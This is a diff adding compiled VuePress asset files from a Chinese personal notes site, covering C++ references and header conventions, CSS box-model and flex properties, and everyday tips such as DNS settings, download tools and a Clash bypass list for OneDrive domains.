若 lhs
与 rhs
比较相等则为零。
若字典序中 lhs
后出现于 rhs
则为正值。
关于字符串与数字互相转换 规范性 头文件源文件 函数和变量可以在头文件中声明然后在源文件中定义, 但是常量最好直接在头文件中声明并定义, 分离开的话容易报错 在头文件中使用外部定义变量时, 在相应源文件中务必在函数外先进行一次初始化, 如果依赖函数进行初始化的话那也要先初始化为空, 否则会引起连接器错误;
个人理解类似空的构造函数, 如果要先实例化对象后调用初始化函数进行初始化的话, 那么在实例化变量时会调用默认的(或者自定义的)空构造函数先进行一次"空初始化"
类似的在头文件外部定义的变量在源文件里要初始化, 如果要用函数初始化的话那么需要先进行一次"空初始化"
static 变量在头文件使用外部定义的时候 extern 与 static 冲突, 去掉 static 即可, 毕竟都头文件外部定义了, 该变量仅此一份不与对象绑定, 已经是个静态变量了
注释相关 行尾使用 // 进行注释, 或者在当前行的上面一行使用 // 注释, 或者在当前行的上面一行或多行使用 /* */进行块注释
需要注意的是光标移到变量上会显示的注释是变量定义时的注释
也就是说如果在头文件中声明在源文件中定义的话, 那么光标移到变量上看到的注释是源文件中定义变量时给出的注释
函数 引用 C++ Primer Plus Chapter8.2
C++ 新增了一种复合类型 -- 引用变量; 引用是已定义的变量的别名;
C++ 为 &
符号赋予了除指示变量地址的另一个含义 ->
用于声明引用
// 例:
+int rats;
+int & rodents = rats; // makes rodents an alias for rats
+
在声明引用的同时也必须将其初始化 引用一经与某个变量关联起来就将一致效忠于此变量 `,42);function fs(qs,_s){const a=p("ExternalLinkIcon");return i(),o("div",null,[r,s("blockquote",null,[u,d,s("p",null,[s("a",v,[n("引自:为什么VS中会建议宏转换为constexpr? - 知乎 (zhihu.com)"),e(a)])])]),k,m,s("p",null,[s("a",b,[n("节选自:constexpr 的来龙去脉-云科普blog (winkp.com)"),e(a)])]),h,s("ul",null,[s("li",null,[s("p",null,[s("a",g,[n("once pragma | Microsoft Docs"),e(a)])])]),f]),q,s("p",null,[s("a",_,[n("VS Code:使用VS的cl.exe编译运行C/C++程序_北冥有鱼wyh的博客-CSDN博客"),e(a)])]),s("p",null,[s("a",E,[n("VS:在windows上调用cl.exe编译运行C/C++程序 - 简书 (jianshu.com)"),e(a)])]),$,s("blockquote",null,[s("p",null,[s("a",x,[n("配置VSCode中调试C/C++环境 | LeoJhon.Song's Blog (leojhonsong.github.io)"),e(a)]),y,s("a",w,[n("Get Started with C++ and Mingw-w64 in Visual Studio Code"),e(a)]),C,s("a",B,[n("C++ programming with Visual Studio Code"),e(a)])]),A]),s("ul",null,[s("li",null,[S,s("p",null,[n("如果没有返回版本信息则说明未安装或配置其环境变量, 参阅 "),s("a",D,[n("C++ programming with Visual Studio Code --- 使用 Visual Studio Code 进行 C++ 编程"),e(a)]),n(),s("a",F,[n("C++ programming with Visual Studio Code-example-install-mingwx64"),e(a)]),n(" 完成其安装及环境变量的配置")]),P]),T,s("li",null,[O,s("ul",null,[V,s("li",null,[s("p",null,[n("如果没有看到检测到的项目而是让自定义配置文件的话那么可以参考 "),s("a",R,[n("配置VSCode中调试C/C++环境 | LeoJhon.Song's Blog (leojhonsong.github.io)"),e(a)]),n(" 中的配置项")])])])])]),I,s("blockquote",null,[s("p",null,[n("gcc std 报错: "),s("a",z,[n("c++ - undefined reference to 'std::cout' - Stack Overflow"),e(a)])])]),G,N,W,M,s("ul",null,[s("li",null,[n("之前也接触过快速生成 python 文件的函数关系调用图, 记得是 [code2flow]("),s("a",U,[n("scottrogowski/code2flow: Pretty good call graphs for dynamic languages (github.com)"),e(a)]),n(")")])]),j,L,Y,Z,s("ul",null,[K,s("li",null,[H,s("ul",null,[X,s("li",null,[s("p",null,[n("然后在合适的位置创建两个文件 "),s("a",J,[n("tree2dotx"),e(a)]),n(" 和 "),Q]),ss])])])]),ns,as,s("ul",null,[es,s("li",null,[s("a",ts,[n("官网Wiki: tceetree / Wiki / Home (sourceforge.net)"),e(a)])])]),ls,ps,is,os,cs,rs,us,s("p",null,[s("a",ds,[n("官方教程: Code Graph - Visual Studio Marketplace"),e(a)])]),vs,ks,s("ul",null,[s("li",null,[n("安装按成后才发现是一款代码分析软件, 还挺新的, 有 "),s("a",ms,[n("2021 的 FreeTrial 版本"),e(a)])])]),bs,s("p",null,[s("a",hs,[n("c++结构体几种初始化方法_skywf的博客-CSDN博客_c++ 结构体初始化"),e(a)])]),gs])}const xs=l(c,[["render",fs],["__file","CPP.html.vue"]]);export{xs as default};
diff --git a/assets/CPP.html-b79d644a.js b/assets/CPP.html-b79d644a.js
new file mode 100644
index 0000000000..485b498707
--- /dev/null
+++ b/assets/CPP.html-b79d644a.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-177841ec","path":"/Language/CPlusPlus/CPP.html","title":"C++","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"VisualStudio2019 相关","slug":"visualstudio2019-相关","link":"#visualstudio2019-相关","children":[{"level":3,"title":"为什么VS中会建议宏转换为constexpr?","slug":"为什么vs中会建议宏转换为constexpr","link":"#为什么vs中会建议宏转换为constexpr","children":[]},{"level":3,"title":"C4996","slug":"c4996","link":"#c4996","children":[]},{"level":3,"title":"#pragma once","slug":"pragma-once","link":"#pragma-once","children":[]}]},{"level":2,"title":"VSCode","slug":"vscode","link":"#vscode","children":[{"level":3,"title":"在 VSCode 中调试 C++ 程序","slug":"在-vscode-中调试-c-程序","link":"#在-vscode-中调试-c-程序","children":[]}]},{"level":2,"title":"实用工具","slug":"实用工具","link":"#实用工具","children":[{"level":3,"title":"快捷生成函数调用关系图","slug":"快捷生成函数调用关系图","link":"#快捷生成函数调用关系图","children":[]}]},{"level":2,"title":"数据结构","slug":"数据结构","link":"#数据结构","children":[{"level":3,"title":"结构体","slug":"结构体","link":"#结构体","children":[]},{"level":3,"title":"字符串","slug":"字符串","link":"#字符串","children":[]}]},{"level":2,"title":"规范性","slug":"规范性","link":"#规范性","children":[{"level":3,"title":"头文件源文件","slug":"头文件源文件","link":"#头文件源文件","children":[]},{"level":3,"title":"注释相关","slug":"注释相关","link":"#注释相关","children":[]}]},{"level":2,"title":"函数","slug":"函数","link":"#函数","children":[{"level":3,"title":"引用","slug":"引用","link":"#引用","children":[]}]}],"git":{"createdTime":1679368870000,"updatedTime":1686705494000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":18.3,"words":5491},"filePathRelative":"Language/CPlusPlus/CPP.md","localizedDate":"2023年3月21日","excerpt":""}');export{l as data};
diff --git a/assets/CSS.html-6a4b9051.js b/assets/CSS.html-6a4b9051.js
new file mode 100644
index 0000000000..75e3f113a7
--- /dev/null
+++ b/assets/CSS.html-6a4b9051.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-4fc5795e","path":"/%E5%89%8D%E7%AB%AF/CSS.html","title":"CSS","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"属性","slug":"属性","link":"#属性","children":[{"level":3,"title":"overflow","slug":"overflow","link":"#overflow","children":[]},{"level":3,"title":"padding","slug":"padding","link":"#padding","children":[]},{"level":3,"title":"margin","slug":"margin","link":"#margin","children":[]}]},{"level":2,"title":"布局","slug":"布局","link":"#布局","children":[{"level":3,"title":"Flex","slug":"flex","link":"#flex","children":[]}]}],"git":{"createdTime":1675222387000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":3.44,"words":1032},"filePathRelative":"前端/CSS.md","localizedDate":"2023年2月1日","excerpt":""}');export{e as data};
diff --git a/assets/CSS.html-b47694b3.js b/assets/CSS.html-b47694b3.js
new file mode 100644
index 0000000000..c3a2fc4686
--- /dev/null
+++ b/assets/CSS.html-b47694b3.js
@@ -0,0 +1,13 @@
+import{_ as s}from"./plugin-vue_export-helper-c27b6911.js";import{r,o,c,b as e,e as n,d as a,f as l}from"./app-880c6425.js";const d={},i=l(' CSS 属性 overflow
',5),p={href:"https://www.w3school.com.cn/cssref/pr_pos_overflow.asp",target:"_blank",rel:"noopener noreferrer"},h=l('
overflow
属性规定当内容溢出元素框时发生的事情。
值 描述 visible 默认值。内容不会被修剪,会呈现在元素框之外。 hidden 内容会被修剪,并且其余内容是不可见的。 scroll 内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。 auto 如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。 inherit 规定应该从父元素继承 overflow 属性的值。
padding
',5),u={href:"https://www.w3school.com.cn/cssref/pr_padding.asp",target:"_blank",rel:"noopener noreferrer"},g=l(`设置 p 元素的 4 个内边距:
p
+ {
+ padding : 2cm 4cm 3cm 4cm;
+ }
+
padding
简写属性在一个声明中设置所有内边距属性。
这个简写属性设置元素所有内边距的宽度,或者设置各边上内边距的宽度。行内非替换元素上设置的内边距不会影响行高计算;因此,如果一个元素既有内边距又有背景,从视觉上看可能会延伸到其他行,有可能还会与其他内容重叠。元素的背景会延伸穿过内边距。不允许指定负边距值 。
例如:
padding : 10px 5px 15px 20px;
+
上内边距是 10px 右内边距是 5px 下内边距是 15px 左内边距是 20px 值 描述 auto 浏览器计算内边距。 length 规定以具体单位计的内边距值,比如像素、厘米等。默认值是 0px。 % 规定基于父元素的宽度的百分比的内边距。 inherit 规定应该从父元素继承内边距。
margin `,9),x={href:"https://www.w3school.com.cn/cssref/pr_margin.asp",target:"_blank",rel:"noopener noreferrer"},m=l(`设置 p 元素的 4 个外边距:
p
+ {
+ margin : 2cm 4cm 3cm 4cm;
+ }
+
margin
简写属性在一个声明中设置所有外边距属性。该属性可以有 1 到 4 个值。
这个简写属性设置一个元素所有外边距的宽度,或者设置各边上外边距的宽度。
块级元素的垂直相邻外边距会合并,而行内元素实际上不占上下外边距。行内元素的的左右外边距不会合并。同样地,浮动元素的外边距也不会合并。允许指定负的外边距值,不过使用时要小心 。
值 描述 auto 浏览器计算外边距。 length 规定以具体单位计的外边距值,比如像素、厘米等。默认值是 0px。 % 以包含元素宽度的百分比指定外边距。 inherit 规定应该从父元素继承外边距。
布局 Flex
`,9),f={href:"https://www.runoob.com/w3cnote/flex-grammar.html",target:"_blank",rel:"noopener noreferrer"},b={href:"https://www.cnblogs.com/hellocd/p/10443237.html",target:"_blank",rel:"noopener noreferrer"},v=l('2009 年,W3C
提出了一种新的方案 ---- Flex
布局,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持,这意味着,现在就能很安全地使用这项功能。
Flexbox
是 flexible box
的简称, 是 CSS3
引入的新的布局模式。它决定了元素如何在页面上排列,使它们能在不同的屏幕尺寸和设备下可预测地展现出来。
Flexbox
能够扩展和收缩 flex
容器内的元素, 以最大限度地填充可用空间; 与早期布局方式相比, Flexbox
是一种更为强大的布局方式. 其可以:
在不同方向排列元素 重新排列元素的显示顺序 更改元素的对齐方式 动态地将元素装入容器 flex 属性 ',6),_={href:"https://zhuanlan.zhihu.com/p/136223806",target:"_blank",rel:"noopener noreferrer"},y=l(`flex
属性是 flex-grow
, flex-shrink
和 flex-basis
的简写,默认值为0 1 auto。后两个属性可选
.item {
+ flex : none | [ <'flex-grow' > <'flex-shrink' >? || <'flex-basis' > ]
+}
+
该属性有两个快捷值:auto (1 1 auto)
和 none (0 0 auto)
。
建议优先使用这个属性,而不是单独写三个分离的属性,因为浏览器会推算相关值。
`,5);function k(w,S){const t=r("ExternalLinkIcon");return o(),c("div",null,[i,e("blockquote",null,[e("p",null,[e("a",p,[n("CSS overflow 属性 (w3school.com.cn)"),a(t)])])]),h,e("blockquote",null,[e("p",null,[e("a",u,[n("CSS padding 属性 (w3school.com.cn)"),a(t)])])]),g,e("blockquote",null,[e("p",null,[e("a",x,[n("CSS margin 属性 (w3school.com.cn)"),a(t)])])]),m,e("blockquote",null,[e("p",null,[e("a",f,[n("Flex 布局语法教程 | 菜鸟教程 (runoob.com)"),a(t)])]),e("p",null,[e("a",b,[n("弹性布局(display:flex;)属性详解 - cdgogo - 博客园 (cnblogs.com)"),a(t)])])]),v,e("blockquote",null,[e("p",null,[e("a",_,[n("flex:1 到底代表什么? - 知乎 (zhihu.com)"),a(t)])])]),y])}const B=s(d,[["render",k],["__file","CSS.html.vue"]]);export{B as default};
diff --git a/assets/DailyLife.html-68f5bfc2.js b/assets/DailyLife.html-68f5bfc2.js
new file mode 100644
index 0000000000..d49f5774f3
--- /dev/null
+++ b/assets/DailyLife.html-68f5bfc2.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-1d0afa17","path":"/DailyLife/DailyLife.html","title":"日常","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"语言学习","slug":"语言学习","link":"#语言学习","children":[{"level":3,"title":"英语学习","slug":"英语学习","link":"#英语学习","children":[]}]},{"level":2,"title":"交流社区","slug":"交流社区","link":"#交流社区","children":[{"level":3,"title":"HackerTalk","slug":"hackertalk","link":"#hackertalk","children":[]}]},{"level":2,"title":"路由器","slug":"路由器","link":"#路由器","children":[]},{"level":2,"title":"小米","slug":"小米","link":"#小米","children":[{"level":3,"title":"小爱音箱Pro连不上电脑","slug":"小爱音箱pro连不上电脑","link":"#小爱音箱pro连不上电脑","children":[]}]},{"level":2,"title":"证书","slug":"证书","link":"#证书","children":[{"level":3,"title":"软考证书","slug":"软考证书","link":"#软考证书","children":[]},{"level":3,"title":"计算机程序设计能力考试(PAT)","slug":"计算机程序设计能力考试-pat","link":"#计算机程序设计能力考试-pat","children":[]},{"level":3,"title":"项目管理职业资格认证(PMI)","slug":"项目管理职业资格认证-pmi","link":"#项目管理职业资格认证-pmi","children":[]},{"level":3,"title":"华为认证","slug":"华为认证","link":"#华为认证","children":[]}]},{"level":2,"title":"下载","slug":"下载","link":"#下载","children":[{"level":3,"title":"FDM","slug":"fdm","link":"#fdm","children":[]},{"level":3,"title":"IDM","slug":"idm","link":"#idm","children":[]},{"level":3,"title":"aria2","slug":"aria2","link":"#aria2","children":[]},{"level":3,"title":"超星相关","slug":"超星相关","link":"#超星相关","children":[]}]},{"level":2,"title":"搜题目解析","slug":"搜题目解析","link":"#搜题目解析","children":[]},{"level":2,"title":"云盘","slug":"云盘","link":"#云盘","children":[{"level":3,"title":"OneDrive","slug":"onedrive","link":"#onedrive","children":[]},{"level":3,"title":"E5","slug":"e5","link":"#e5","children":[]},{"level":3,"title":"将云盘挂载到本地(RaiDrive)","slug":"将云盘挂载到本地-raidrive","link":"#将云盘挂载到本地-raidrive","children":[]},{"level":3,"title":"微软商店中的iCloud","slug":"微软商店中的icloud","link":"#微软商店中的icloud","children":[]},{"level":3,"title":"Cloudreve","slug":"cloudreve","link":"#cloudreve","children":[]},{"level":3,"title":"Nextcloud","slug":"nextcloud","link":"#nextcloud","children":[]}]},{"level":2,"title":"同步","slug":"同步","link":"#同步","children":[{"level":3,"title":"使用云盘与 Git 管理使用本地图片的 Markdown 文件","slug":"使用云盘与-git-管理使用本地图片的-markdown-文件","link":"#使用云盘与-git-管理使用本地图片的-markdown-文件","children":[]}]},{"level":2,"title":"Microsoft","slug":"microsoft","link":"#microsoft","children":[{"level":3,"title":"Edge","slug":"edge","link":"#edge","children":[]},{"level":3,"title":"Windows","slug":"windows","link":"#windows","children":[]}]},{"level":2,"title":"你需要来自 S-1-5-21-XXXX-XXX-XXX 的权限才能对此文件夹进行更改","slug":"你需要来自-s-1-5-21-xxxx-xxx-xxx-的权限才能对此文件夹进行更改","link":"#你需要来自-s-1-5-21-xxxx-xxx-xxx-的权限才能对此文件夹进行更改","children":[]},{"level":2,"title":"图片OCR->表格","slug":"图片ocr-表格","link":"#图片ocr-表格","children":[]},{"level":2,"title":"clash","slug":"clash","link":"#clash","children":[{"level":3,"title":"pip 报错 ValueError: check_hostname requires server_hostname","slug":"pip-报错-valueerror-check-hostname-requires-server-hostname","link":"#pip-报错-valueerror-check-hostname-requires-server-hostname","children":[]},{"level":3,"title":"TUN Mode","slug":"tun-mode","link":"#tun-mode","children":[]},{"level":3,"title":"Mixin","slug":"mixin","link":"#mixin","children":[]},{"level":3,"title":"Bypass","slug":"bypass","link":"#bypass","children":[]}]},{"level":2,"title":"桌面显示器屏幕使用体验","slug":"桌面显示器屏幕使用体验","link":"#桌面显示器屏幕使用体验","children":[{"level":3,"title":"Win11 设置合盖不休眠","slug":"win11-设置合盖不休眠","link":"#win11-设置合盖不休眠","children":[]}]},{"level":2,"title":"Game","slug":"game","link":"#game","children":[{"level":3,"title":"Steam","slug":"steam","link":"#steam","children":[]},{"level":3,"title":"手游模拟器","slug":"手游模拟器","link":"#手游模拟器","children":[]}]},{"level":2,"title":"PowerToys","slug":"powertoys","link":"#powertoys","children":[{"level":3,"title":"自定义窗口布局","slug":"自定义窗口布局","link":"#自定义窗口布局","children":[]},{"level":3,"title":"调整图像大小","slug":"调整图像大小","link":"#调整图像大小","children":[]},{"level":3,"title":"始终置项","slug":"始终置项","link":"#始终置项","children":[]},{"level":3,"title":"文件资源管理器加载项","slug":"文件资源管理器加载项","link":"#文件资源管理器加载项","children":[]},{"level":3,"title":"鼠标实用工具","slug":"鼠标实用工具","link":"#鼠标实用工具","children":[]}]},{"level":2,"title":"字体","slug":"字体","link":"#字体","children":[{"level":3,"title":"中易宋体和微软雅黑","slug":"中易宋体和微软雅黑","link":"#中易宋体和微软雅黑","children":[]}]},{"level":2,"title":"活动监控","slug":"活动监控","link":"#活动监控","children":[]},{"level":2,"title":"零散报错","slug":"零散报错","link":"#零散报错","children":[{"level":3,"title":"Win11 下 QQ 调起文件资源管理器 C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll 报错","slug":"win11-下-qq-调起文件资源管理器-c-windows-system32-ntdll-dll-报错","link":"#win11-下-qq-调起文件资源管理器-c-windows-system32-ntdll-dll-报错","children":[]}]}],"git":{"createdTime":1667840801000,"updatedTime":1699409130000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":6},{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummr233@gmail.com","commits":2},{"name":"233PC","email":"ayusummer233@gmail.com","commits":2},{"name":"Ayusummer","email":"ayusummer233@gmail.com","commits":2},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233PC","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":37.9,"words":11371},"filePathRelative":"DailyLife/DailyLife.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/DailyLife.html-becc3d81.js b/assets/DailyLife.html-becc3d81.js
new file mode 100644
index 0000000000..e89bb7991f
--- /dev/null
+++ b/assets/DailyLife.html-becc3d81.js
@@ -0,0 +1,219 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as l,c as r,b as e,e as n,d as a,f as t}from"./app-880c6425.js";const c={},d=t(' 日常 语言学习 ',4),p={href:"http://www.yinwang.org/blog-cn/2017/07/06/master-pl",target:"_blank",rel:"noopener noreferrer"},u=e("hr",null,null,-1),h=e("h3",{id:"英语学习",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#英语学习","aria-hidden":"true"},"#"),n(" 英语学习")],-1),m=e("p",null,[e("code",null,"背单词"),n(":")],-1),g={href:"https://saladict.crimx.com/download.html",target:"_blank",rel:"noopener noreferrer"},b={href:"https://saladict.crimx.com/manual.html",target:"_blank",rel:"noopener noreferrer"},v={href:"https://saladict.crimx.com/notice.html",target:"_blank",rel:"noopener noreferrer"},_={href:"https://saladict.crimx.com/anki.html",target:"_blank",rel:"noopener noreferrer"},k=e("li",null,[n("也支持欧路词典, 扇贝单词和 WebDAV 方式同步 "),e("img",{src:"https://cdn.ayusummer233.top/img/20220117225152.png",alt:"20220117225152"})],-1),f=e("hr",null,null,-1),E=e("h2",{id:"交流社区",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#交流社区","aria-hidden":"true"},"#"),n(" 交流社区")],-1),y=e("h3",{id:"hackertalk",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#hackertalk","aria-hidden":"true"},"#"),n(" HackerTalk")],-1),x={href:"https://hackertalk.net/",target:"_blank",rel:"noopener noreferrer"},B=e("p",null,"作者初衷是打造一款程序员社交平台, 界面很对味, 使用体验不错, 就是略显冷清了",-1),q=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202205172131575.png",alt:"image-20220517213112403"})],-1),A=e("hr",null,null,-1),w=e("h2",{id:"路由器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#路由器","aria-hidden":"true"},"#"),n(" 路由器")],-1),D={href:"https://www.cnblogs.com/fogwang/p/10735487.html",target:"_blank",rel:"noopener noreferrer"},C=t(`小米路由器 DNS DHCP 后使用 EDGE 浏览器似乎经常显示 无法访问 Internet
, 具体原因不清楚
手动将 DNS 改为
首选:119.29.29.29
+备选:182.254.116.116
+
后新建页面后似乎可以恢复正常
上述 DNS 为 DNSPod的 Public DNS+, 是目前国内第一家支持ECS的公共DNS,是DNSPod推出的公共域名解析服务,可以为全网用户提供域名的公共递归解析服务
小米 小爱音箱Pro连不上电脑 [大佬们,小爱音箱pro蓝牙电脑搜索不到【小爱同学吧】_百度贴吧 (baidu.com)](https://tieba.baidu.com/p/8487114265#:~:text=检查电脑的蓝牙设置,确保蓝牙开关已经打开,并且在“设备管理器”中查看是否已经启用了蓝牙设备。 3. 尝试在电脑端重新连接小爱音箱 Pro,可以尝试在蓝牙设备列表中选择小爱音箱,Pro,并输入配对码进行配对。 4. 尝试在手机上连接小爱音箱 Pro,然后尝试在电脑上连接同一个网络下的其他设备,以判断是否是音箱本身的问题。)
在小爱音箱APP中打开蓝牙自发现后手机都可以搜到小爱音箱的蓝牙, 唯独电脑怎么重启蓝牙都搜不到, 最后在贴吧看到一个老哥给出了正解, 将 Win 的蓝牙设备发现模式改为 高级
就能搜到小爱音箱Pro的蓝牙了
证书 `,13),P={href:"https://www.bilibili.com/video/BV1ZR4y1g7tD?spm_id_from=333.851.b_7265636f6d6d656e64.1",target:"_blank",rel:"noopener noreferrer"},S=e("p",null,"[计算机行业证书--哪些值得考? | ProcessOn免费在线作图,在线流程图,在线思维导图](https://www.processon.com/view/link/61c584f963768939a3694478#map 作者:王大飞op https://www.bilibili.com/read/cv14636458?spm_id_from=333.788.b_636f6d6d656e74.7 出处:bilibili)",-1),N=e("p",null,"建议是能力足够了随便去刷刷, 有公司报销可以考虑考考(",-1),M=e("hr",null,null,-1),F=e("h3",{id:"软考证书",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#软考证书","aria-hidden":"true"},"#"),n(" 软考证书")],-1),W={href:"https://www.ruankao.org.cn/",target:"_blank",rel:"noopener noreferrer"},T=e("p",null,"工业和信息化部承办的, 目前国企事业单位中含金量认可度最高的计算机行业证书",-1),U=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20220118105139.png",alt:"20220118105139"})],-1),I=e("blockquote",null,[e("p",null,[n("一般只有中级以上才有用, 在企事业单位工作或者项目与其有对接那么考个软考证书帮助比较大"),e("br"),n(" 打算在一线城市发展积分落户的话也有计分")])],-1),z=e("hr",null,null,-1),O=e("h3",{id:"计算机程序设计能力考试-pat",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#计算机程序设计能力考试-pat","aria-hidden":"true"},"#"),n(" 计算机程序设计能力考试(PAT)")],-1),G={href:"https://www.patest.cn/",target:"_blank",rel:"noopener noreferrer"},X=e("p",null,"浙大发起承办, 乙,甲,顶级有用, 主要考察算法能力, 行业认可度比较高",-1),V=e("hr",null,null,-1),L=e("h3",{id:"项目管理职业资格认证-pmi",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#项目管理职业资格认证-pmi","aria-hidden":"true"},"#"),n(" 项目管理职业资格认证(PMI)")],-1),H={href:"http://exam.chinapmp.cn/",target:"_blank",rel:"noopener noreferrer"},R=t('PMI 所有证书
缩写 名称 PMP 项目管理 PMI-ACP 敏捷项目管理 PfMP 项目组合管理 PgMP 项目集管理 CAPM 助理项目管理 PMI-RMP 项目风险管理 PMI-SP 进度管理
比较推荐的是: PMP(项目管理) 和 PMI-ACP(敏捷项目管理)
需要报培训班计学时才能考且有相关年龄限制(费用一般 2K ~ 7K 不等)
学历 年龄限制 不限学历 年满 26 岁 有学士学位 年满 24 岁 有硕士及以上学位 不限年龄
想转管理岗可以考虑考个这个证书
不过证书有年限, 期间需要积累 PDU 并加钱才能续期
通过PMI制定培训机构参加PMP培训将会获得35个PDU, PMP考试通过后35个PDU直接转换。 本人从事PMP工作,每年自动获得5个PDU,3年时间即可获得15个PDU。 从事项目管理工作,每年自学可获得10个/年。 公司内部会议,每小时获得一个PDU(保留会议纪要)。 实际工作中使用MSP软件,同时高博是此软件的合作伙伴,提供MSP培训,可积累16个PDU。 参加PMI活动(PMI组织活动基本免费,即使收费也很低)。 撰写PMP文章,一般可获得2-3个PDU。 志愿者活动(如给学员上课)可获得3-5个PDU。 华为认证 ',10),j={href:"https://cn.e-learning.huawei.com/#/huaweiTenant/Certification",target:"_blank",rel:"noopener noreferrer"},Y=t('得加钱(
下载 FDM 防病毒配置 ',6),Q={href:"https://bbs.huorong.cn/thread-60060-1-1.html",target:"_blank",rel:"noopener noreferrer"},J=t('以火绒为例:
注意这里的 %path%
指的是下载文件的保存路径而非上面填写的火绒的路径
但是实际上下载后会调起火绒UI并查杀该文件, 用户手动关闭火绒UI(点右上角的X关闭按钮)后 FDM 上的 正在检测病毒
才会停止, 总体来说体验不是很流畅, 因此后面不打算配置了
不过也可以手动检测:
手动关闭火绒UI后
IDM ',12),K={href:"https://blog.csdn.net/qq_42951560/article/details/120678847",target:"_blank",rel:"noopener noreferrer"},Z=t('在 Edge 上安装 IDM 扩展
打开 IDM 安装目录
找到 IDMGCExt.crx
在 Edge 扩展中打开 开发人员模式
:
将 IDMGCExt.crx
拖动到 Edge 扩展界面即可安装扩展
aria2 下载[aria2.exe]并将其移动至C:\\Windows\\System32
文件夹 复制aria2
下载命令 在本地你想下载到的位置,按住 Shift
右键点击空白处,选择在此打开命令行窗口(Powershell
) 将刚才复制的命令粘贴(鼠标右键点击即可,不要按 ctrl-V);回车,然后等待下载完成 超星相关 没有下载选项的 PDF ',13),$={href:"https://www.zhihu.com/question/448827791/answer/1783365679",target:"_blank",rel:"noopener noreferrer"},ee=e("li",null,[e("code",null,"F12"),n(" 找到 "),e("code",null,"objectid"),n(" 然后替换下面的 "),e("code",null,"[objectid]"),n(" 并打开链接"),e("br"),e("code",null,"https://mooc1-1.chaoxing.com/ananas/status/[objectid]?flag=normal")],-1),ne=e("li",null,[n("打开之后是个响应页, 找到 "),e("code",null,"pdf"),n(" 字样, 后面跟着的就是直链")],-1),se=e("hr",null,null,-1),ae={href:"https://chrome.google.com/webstore/detail/%E8%B6%85%E6%98%9F%E5%AD%A6%E4%B9%A0%E9%80%9A%E8%BE%85%E5%8A%A9%E6%8F%92%E4%BB%B6/kejppjboemkbampcomibgpenbmdpimol/related",target:"_blank",rel:"noopener noreferrer"},te=t(` 搜题目解析 油猴插件:AC-baidu-重定向优化百度搜狗谷歌必应搜索
垃圾域名 ppkao.com
+51xuexiaoyi.com
+jiandati.com
+cnitpm.com
+shangxueba.cn
+datiyi.cn
+ysxqzs.cn
+doc.xuehai.net
+imdza.org.cn
+shangxueba.com
+zyszedu.com
+ixueyi.com
+bvchati.cn
+kjfwxy.com
+yc-qx.cn
+hmyllh.com
+jsgncl.org.cn
+zhaokaoti.com
+http://www.zslangqiao.com/
+http://www.tfsenabo.com/
+zuixu.com
+educity.cn
+xcsdbzx.com
+nuchati.cn
+xmkqhs.com
+hzssc.org
+http://ask.mzhishi.com/
+nviv.cn
+30596.cn
+asklib.com
+
云盘 OneDrive `,7),ie=e("br",null,null,-1),oe={href:"https://blog.csdn.net/u014389786/article/details/54095019",target:"_blank",rel:"noopener noreferrer"},le=e("hr",null,null,-1),re=e("h4",{id:"挂了全局代理后会无法登录onedrive客户端",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#挂了全局代理后会无法登录onedrive客户端","aria-hidden":"true"},"#"),n(" 挂了全局代理后会无法登录OneDrive客户端")],-1),ce={href:"https://www.zhihu.com/question/414671076",target:"_blank",rel:"noopener noreferrer"},de={href:"https://learn.microsoft.com/zh-cn/sharepoint/required-urls-and-ports",target:"_blank",rel:"noopener noreferrer"},pe={href:"https://github.com/Fndroid/clash_for_windows_pkg/issues/1105",target:"_blank",rel:"noopener noreferrer"},ue=t(`先写结论, 这样操作需要 Bypass 大量域名, 且对于需要挂代理的 Microsoft 服务可能也会产生影响, 因此建议关闭 System Proxy 登录 OneDrive, 登录成功后再打开 System Proxy
非要使用 Bypass 方案的话在 Clash 的 Bypass yaml 末尾加上这些域名即可
+- "onedrive.com"
+- "*.onedrive.com"
+- "onedrive.live.com"
+- "spoprod-a.akamaihd.net"
+- "*.mesh.com"
+- "p.sfx.ms"
+- "oneclient.sfx.ms"
+- "*.microsoft.com"
+- "fabric.io"
+- "*.crashlytics.com"
+- "vortex.data.microsoft.com"
+- "posarprodcssservice.accesscontrol.windows.net"
+- "redemptionservices.accesscontrol.windows.net"
+- "token.cp.microsoft.com"
+- "tokensit.cp.microsoft-tst.com"
+- "*.office.com"
+- "*.officeapps.live.com"
+- "*.aria.microsoft.com"
+- "*.mobileengagement.windows.net"
+- "*.branch.io"
+- "*.adjust.com"
+- "*.servicebus.windows.net"
+- "vas.samsungapps.com"
+- "*.files.1drv.com"
+- "*.onedrive.live.com"
+- "*.*.onedrive.live.com"
+- "storage.live.com"
+- "*.storage.live.com"
+- "*.*.storage.live.com"
+- "*.groups.office.live.com"
+- "*.groups.photos.live.com"
+- "*.groups.skydrive.live.com"
+- "favorites.live.com"
+- "oauth.live.com"
+- "photos.live.com"
+- "skydrive.live.com"
+- "api.live.net"
+- "apis.live.net"
